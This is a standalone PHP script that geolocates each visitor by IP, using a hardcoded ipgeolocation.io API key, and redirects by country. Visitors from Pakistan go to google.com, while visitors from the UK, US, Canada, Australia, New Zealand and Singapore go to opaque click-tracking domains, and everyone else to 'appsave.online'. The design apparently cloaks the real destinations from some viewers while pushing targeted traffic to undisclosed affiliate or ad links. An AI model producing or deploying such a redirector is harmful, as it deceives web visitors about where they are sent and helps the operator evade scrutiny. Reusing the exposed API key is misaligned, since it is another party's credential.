<?php


function getRealIpAddr() {
    foreach ([
        'HTTP_CLIENT_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_FORWARDED',
        'HTTP_X_CLUSTER_CLIENT_IP',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'
    ] as $key) {
        if (!empty($_SERVER[$key])) {
            $ip = explode(',', $_SERVER[$key])[0];
            return trim($ip);
        }
    }
    return null;
}




// Function to fetch JSON data from URL with error handling and retry
function fetchJsonDataWithRetry($url, $retryCount = 3) {
    $attempt = 0;
    while ($attempt < $retryCount) {
        $response = @file_get_contents($url);
        if ($response !== false) {
            return $response;
        }
        // Exponential backoff: increase the delay with each retry attempt
        $delay = 2 ** $attempt * 1000; // milliseconds
        usleep($delay * 1000); // Convert to microseconds
        $attempt++;
    }
    return false;
}

$ip = getRealIpAddr();
$url = "https://api.ipgeolocation.io/ipgeo?apiKey=b82422348da544c49e0867a240569104&ip=$ip";
// Fetch JSON data with retry
$response = fetchJsonDataWithRetry($url);
if ($response !== false) {

    // Convert API response to object
    $details = json_decode($response);

    // Extract country_name safely
    $countryName = isset($details->country_name) ? $details->country_name : null;

    // Debug (optional)
    // echo "Detected country: " . $countryName;

    // Decide redirect URL
    switch ($countryName) {
        case "Pakistan":
            $yourURL = "https://www.google.com/";
            break;

        case "United Kingdom":
            $yourURL = "https://track.cba4b.com//click/WX3fz6Dh/";
            break;

        case "Canada":
            $yourURL = "https://track.cba4b.com//click/WX3fz6Dh";
            break;

        case "United States":
            $yourURL = "https://track.cba4b.com//click/WX3fz6Dh";
            break;

	case "Australia":
            $yourURL = "https://track.cba4b.com//click/WX3fz6Dh";
            break;

	case "New Zealand":
            $yourURL = "https://track.cba4b.com//click/WX3fz6Dh";
            break;

	case "Singapore":
            $yourURL = "https://www.chffn8trk.com/79CK4HQ/38LSKW5S/";
            break;

        default:
            $yourURL = "https://appsave.online/cl/i/d22v51";
            break;
    }

    // Perform redirect
    header("Location: $yourURL");
    exit;

} else {
    echo "Error fetching data from URL.";
}
?>